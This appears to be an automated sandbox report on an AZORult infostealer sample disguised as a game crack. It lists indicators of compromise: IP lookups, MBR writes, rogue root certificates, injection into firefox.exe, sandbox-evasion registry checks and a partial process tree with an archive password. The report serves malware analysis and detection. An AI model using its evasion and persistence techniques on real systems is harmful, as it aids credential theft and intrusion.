azorult | 28ccb0c15243f08cd7f4b6b133616c4a59c9e2168306c35889751cdb3a0f34d5

Peripheral Device Discovery

System Information Discovery

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

84 ip-api.com
106 ipinfo.io
108 ipinfo.io
190 ipinfo.io
331 ipinfo.io
377 ipinfo.io
38 api.ipify.org

flow	ioc
84	ip-api.com
106	ipinfo.io
108	ipinfo.io
190	ipinfo.io
331	ipinfo.io
377	ipinfo.io
38	api.ipify.org

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

Processes:

multitimer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	multitimer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0	multitimer.exe

Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

Processes:

Setup.exeC0CA61A12E4C8B38.exeC0CA61A12E4C8B38.exe

description	ioc	process
File opened for modification	\??\PhysicalDrive0	Setup.exe
File opened for modification	\??\PhysicalDrive0	C0CA61A12E4C8B38.exe
File opened for modification	\??\PhysicalDrive0	C0CA61A12E4C8B38.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

Setup.exe

pid process

2644 Setup.exe

pid	process
2644	Setup.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

8166.tmp.exeC0CA61A12E4C8B38.exe

description	pid	process	target process
PID 3836 set thread context of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 1620 set thread context of 2180	1620	C0CA61A12E4C8B38.exe	firefox.exe
PID 1620 set thread context of 1132	1620	C0CA61A12E4C8B38.exe	firefox.exe

Drops file in Windows directory 2 IoCs

Processes:

multitimer.exe

description	ioc	process
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new	multitimer.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new	multitimer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 18 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4448	4892	WerFault.exe	gtpmxj1ux3b.exe
5244	4892	WerFault.exe	gtpmxj1ux3b.exe
5372	4892	WerFault.exe	gtpmxj1ux3b.exe
5504	4892	WerFault.exe	gtpmxj1ux3b.exe
5764	4892	WerFault.exe	gtpmxj1ux3b.exe
4500	4892	WerFault.exe	gtpmxj1ux3b.exe
5508	4892	WerFault.exe	gtpmxj1ux3b.exe
4344	4892	WerFault.exe	gtpmxj1ux3b.exe
4416	4892	WerFault.exe	gtpmxj1ux3b.exe
5432	1308	WerFault.exe	Setup.exe
6832	1308	WerFault.exe	Setup.exe
7084	1308	WerFault.exe	Setup.exe
3408	1308	WerFault.exe	Setup.exe
5632	1308	WerFault.exe	Setup.exe
7028	1308	WerFault.exe	Setup.exe
5292	1308	WerFault.exe	Setup.exe
5056	1308	WerFault.exe	Setup.exe
6556	1308	WerFault.exe	Setup.exe

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

Processes:

C0CA61A12E4C8B38.exeC0CA61A12E4C8B38.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000	C0CA61A12E4C8B38.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc	C0CA61A12E4C8B38.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000	C0CA61A12E4C8B38.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc	C0CA61A12E4C8B38.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName	C0CA61A12E4C8B38.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000	C0CA61A12E4C8B38.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc	C0CA61A12E4C8B38.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName	C0CA61A12E4C8B38.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName	C0CA61A12E4C8B38.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000	C0CA61A12E4C8B38.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc	C0CA61A12E4C8B38.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName	C0CA61A12E4C8B38.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

8166.tmp.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	8166.tmp.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	8166.tmp.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3300 schtasks.exe
7076 schtasks.exe
Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

2012 timeout.exe
4832 timeout.exe
7020 timeout.exe

pid	process
3300	schtasks.exe
7076	schtasks.exe

pid	process
2012	timeout.exe
4832	timeout.exe
7020	timeout.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

multitimer.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	multitimer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	multitimer.exe

Kills process with taskkill 5 IoCs
evasion

Processes:

taskkill.exetaskkill.exeTASKKILL.exetaskkill.exetaskkill.exe

pid process

3340 taskkill.exe
3844 taskkill.exe
4740 TASKKILL.exe
6348 taskkill.exe
2304 taskkill.exe

pid	process
3340	taskkill.exe
3844	taskkill.exe
4740	TASKKILL.exe
6348	taskkill.exe
2304	taskkill.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

file.exeSetup.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	file.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	file.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD	Setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576	Setup.exe

Runs .reg file with regedit 2 IoCs

Processes:

regedit.exeregedit.exe

pid process

4804 regedit.exe
6992 regedit.exe
Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXE

pid process

1348 PING.EXE
1216 PING.EXE
2332 PING.EXE
3856 PING.EXE

pid	process
4804	regedit.exe
6992	regedit.exe

pid	process
1348	PING.EXE
1216	PING.EXE
2332	PING.EXE
3856	PING.EXE

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	330	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	376	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	107	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	112	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	189	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 60 IoCs

Processes:

8166.tmp.exe1614924684331.exe1614924688987.exemultitimer.exe

pid	process
3524	8166.tmp.exe
3524	8166.tmp.exe
2064	1614924684331.exe
2064	1614924684331.exe
496	1614924688987.exe
496	1614924688987.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe
1812	multitimer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	584	msiexec.exe
Token: SeIncreaseQuotaPrivilege	584	msiexec.exe
Token: SeSecurityPrivilege	1904	msiexec.exe
Token: SeCreateTokenPrivilege	584	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	584	msiexec.exe
Token: SeLockMemoryPrivilege	584	msiexec.exe
Token: SeIncreaseQuotaPrivilege	584	msiexec.exe
Token: SeMachineAccountPrivilege	584	msiexec.exe
Token: SeTcbPrivilege	584	msiexec.exe
Token: SeSecurityPrivilege	584	msiexec.exe
Token: SeTakeOwnershipPrivilege	584	msiexec.exe
Token: SeLoadDriverPrivilege	584	msiexec.exe
Token: SeSystemProfilePrivilege	584	msiexec.exe
Token: SeSystemtimePrivilege	584	msiexec.exe
Token: SeProfSingleProcessPrivilege	584	msiexec.exe
Token: SeIncBasePriorityPrivilege	584	msiexec.exe
Token: SeCreatePagefilePrivilege	584	msiexec.exe
Token: SeCreatePermanentPrivilege	584	msiexec.exe
Token: SeBackupPrivilege	584	msiexec.exe
Token: SeRestorePrivilege	584	msiexec.exe
Token: SeShutdownPrivilege	584	msiexec.exe
Token: SeDebugPrivilege	584	msiexec.exe
Token: SeAuditPrivilege	584	msiexec.exe
Token: SeSystemEnvironmentPrivilege	584	msiexec.exe
Token: SeChangeNotifyPrivilege	584	msiexec.exe
Token: SeRemoteShutdownPrivilege	584	msiexec.exe
Token: SeUndockPrivilege	584	msiexec.exe
Token: SeSyncAgentPrivilege	584	msiexec.exe
Token: SeEnableDelegationPrivilege	584	msiexec.exe
Token: SeManageVolumePrivilege	584	msiexec.exe
Token: SeImpersonatePrivilege	584	msiexec.exe
Token: SeCreateGlobalPrivilege	584	msiexec.exe
Token: SeCreateTokenPrivilege	584	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	584	msiexec.exe
Token: SeLockMemoryPrivilege	584	msiexec.exe
Token: SeIncreaseQuotaPrivilege	584	msiexec.exe
Token: SeMachineAccountPrivilege	584	msiexec.exe
Token: SeTcbPrivilege	584	msiexec.exe
Token: SeSecurityPrivilege	584	msiexec.exe
Token: SeTakeOwnershipPrivilege	584	msiexec.exe
Token: SeLoadDriverPrivilege	584	msiexec.exe
Token: SeSystemProfilePrivilege	584	msiexec.exe
Token: SeSystemtimePrivilege	584	msiexec.exe
Token: SeProfSingleProcessPrivilege	584	msiexec.exe
Token: SeIncBasePriorityPrivilege	584	msiexec.exe
Token: SeCreatePagefilePrivilege	584	msiexec.exe
Token: SeCreatePermanentPrivilege	584	msiexec.exe
Token: SeBackupPrivilege	584	msiexec.exe
Token: SeRestorePrivilege	584	msiexec.exe
Token: SeShutdownPrivilege	584	msiexec.exe
Token: SeDebugPrivilege	584	msiexec.exe
Token: SeAuditPrivilege	584	msiexec.exe
Token: SeSystemEnvironmentPrivilege	584	msiexec.exe
Token: SeChangeNotifyPrivilege	584	msiexec.exe
Token: SeRemoteShutdownPrivilege	584	msiexec.exe
Token: SeUndockPrivilege	584	msiexec.exe
Token: SeSyncAgentPrivilege	584	msiexec.exe
Token: SeEnableDelegationPrivilege	584	msiexec.exe
Token: SeManageVolumePrivilege	584	msiexec.exe
Token: SeImpersonatePrivilege	584	msiexec.exe
Token: SeCreateGlobalPrivilege	584	msiexec.exe
Token: SeCreateTokenPrivilege	584	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	584	msiexec.exe
Token: SeLockMemoryPrivilege	584	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

msiexec.exe

pid process

584 msiexec.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Setup.exeC0CA61A12E4C8B38.exeC0CA61A12E4C8B38.exefirefox.exe1614924684331.exefirefox.exe1614924688987.exe

pid process

2644 Setup.exe
1620 C0CA61A12E4C8B38.exe
3596 C0CA61A12E4C8B38.exe
2180 firefox.exe
2064 1614924684331.exe
1132 firefox.exe
496 1614924688987.exe

pid	process
584	msiexec.exe

pid	process
2644	Setup.exe
1620	C0CA61A12E4C8B38.exe
3596	C0CA61A12E4C8B38.exe
2180	firefox.exe
2064	1614924684331.exe
1132	firefox.exe
496	1614924688987.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Warhammer.40.000.Dawn.of.War.crack.execmd.exekeygen-pr.exekeygen-step-4.exekeygen-step-3.exekey.execmd.exefile.exe8166.tmp.execmd.exeSetup.exemsiexec.exe

description	pid	process	target process
PID 724 wrote to memory of 1916	724	Warhammer.40.000.Dawn.of.War.crack.exe	cmd.exe
PID 724 wrote to memory of 1916	724	Warhammer.40.000.Dawn.of.War.crack.exe	cmd.exe
PID 724 wrote to memory of 1916	724	Warhammer.40.000.Dawn.of.War.crack.exe	cmd.exe
PID 1916 wrote to memory of 1592	1916	cmd.exe	keygen-pr.exe
PID 1916 wrote to memory of 1592	1916	cmd.exe	keygen-pr.exe
PID 1916 wrote to memory of 1592	1916	cmd.exe	keygen-pr.exe
PID 1916 wrote to memory of 1304	1916	cmd.exe	keygen-step-1.exe
PID 1916 wrote to memory of 1304	1916	cmd.exe	keygen-step-1.exe
PID 1916 wrote to memory of 1304	1916	cmd.exe	keygen-step-1.exe
PID 1916 wrote to memory of 2128	1916	cmd.exe	keygen-step-3.exe
PID 1916 wrote to memory of 2128	1916	cmd.exe	keygen-step-3.exe
PID 1916 wrote to memory of 2128	1916	cmd.exe	keygen-step-3.exe
PID 1916 wrote to memory of 2384	1916	cmd.exe	keygen-step-4.exe
PID 1916 wrote to memory of 2384	1916	cmd.exe	keygen-step-4.exe
PID 1916 wrote to memory of 2384	1916	cmd.exe	keygen-step-4.exe
PID 1592 wrote to memory of 1496	1592	keygen-pr.exe	key.exe
PID 1592 wrote to memory of 1496	1592	keygen-pr.exe	key.exe
PID 1592 wrote to memory of 1496	1592	keygen-pr.exe	key.exe
PID 2384 wrote to memory of 1404	2384	keygen-step-4.exe	file.exe
PID 2384 wrote to memory of 1404	2384	keygen-step-4.exe	file.exe
PID 2384 wrote to memory of 1404	2384	keygen-step-4.exe	file.exe
PID 2128 wrote to memory of 796	2128	keygen-step-3.exe	cmd.exe
PID 2128 wrote to memory of 796	2128	keygen-step-3.exe	cmd.exe
PID 2128 wrote to memory of 796	2128	keygen-step-3.exe	cmd.exe
PID 1496 wrote to memory of 2448	1496	key.exe	key.exe
PID 1496 wrote to memory of 2448	1496	key.exe	key.exe
PID 1496 wrote to memory of 2448	1496	key.exe	key.exe
PID 796 wrote to memory of 1348	796	cmd.exe	PING.EXE
PID 796 wrote to memory of 1348	796	cmd.exe	PING.EXE
PID 796 wrote to memory of 1348	796	cmd.exe	PING.EXE
PID 1404 wrote to memory of 3836	1404	file.exe	8166.tmp.exe
PID 1404 wrote to memory of 3836	1404	file.exe	8166.tmp.exe
PID 1404 wrote to memory of 3836	1404	file.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 3836 wrote to memory of 3524	3836	8166.tmp.exe	8166.tmp.exe
PID 1404 wrote to memory of 2292	1404	file.exe	cmd.exe
PID 1404 wrote to memory of 2292	1404	file.exe	cmd.exe
PID 1404 wrote to memory of 2292	1404	file.exe	cmd.exe
PID 2384 wrote to memory of 2644	2384	keygen-step-4.exe	Setup.exe
PID 2384 wrote to memory of 2644	2384	keygen-step-4.exe	Setup.exe
PID 2384 wrote to memory of 2644	2384	keygen-step-4.exe	Setup.exe
PID 2292 wrote to memory of 1216	2292	cmd.exe	PING.EXE
PID 2292 wrote to memory of 1216	2292	cmd.exe	PING.EXE
PID 2292 wrote to memory of 1216	2292	cmd.exe	PING.EXE
PID 2644 wrote to memory of 584	2644	Setup.exe	msiexec.exe
PID 2644 wrote to memory of 584	2644	Setup.exe	msiexec.exe
PID 2644 wrote to memory of 584	2644	Setup.exe	msiexec.exe
PID 1904 wrote to memory of 1148	1904	msiexec.exe	MsiExec.exe
PID 1904 wrote to memory of 1148	1904	msiexec.exe	MsiExec.exe
PID 1904 wrote to memory of 1148	1904	msiexec.exe	MsiExec.exe
PID 2644 wrote to memory of 1620	2644	Setup.exe	C0CA61A12E4C8B38.exe
PID 2644 wrote to memory of 1620	2644	Setup.exe	C0CA61A12E4C8B38.exe
PID 2644 wrote to memory of 1620	2644	Setup.exe	C0CA61A12E4C8B38.exe

C:\Users\Admin\AppData\Local\Temp\Warhammer.40.000.Dawn.of.War.crack.exe
"C:\Users\Admin\AppData\Local\Temp\Warhammer.40.000.Dawn.of.War.crack.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:724

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:1916

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
keygen-pr.exe -p83fsase3Ge
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1592

C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
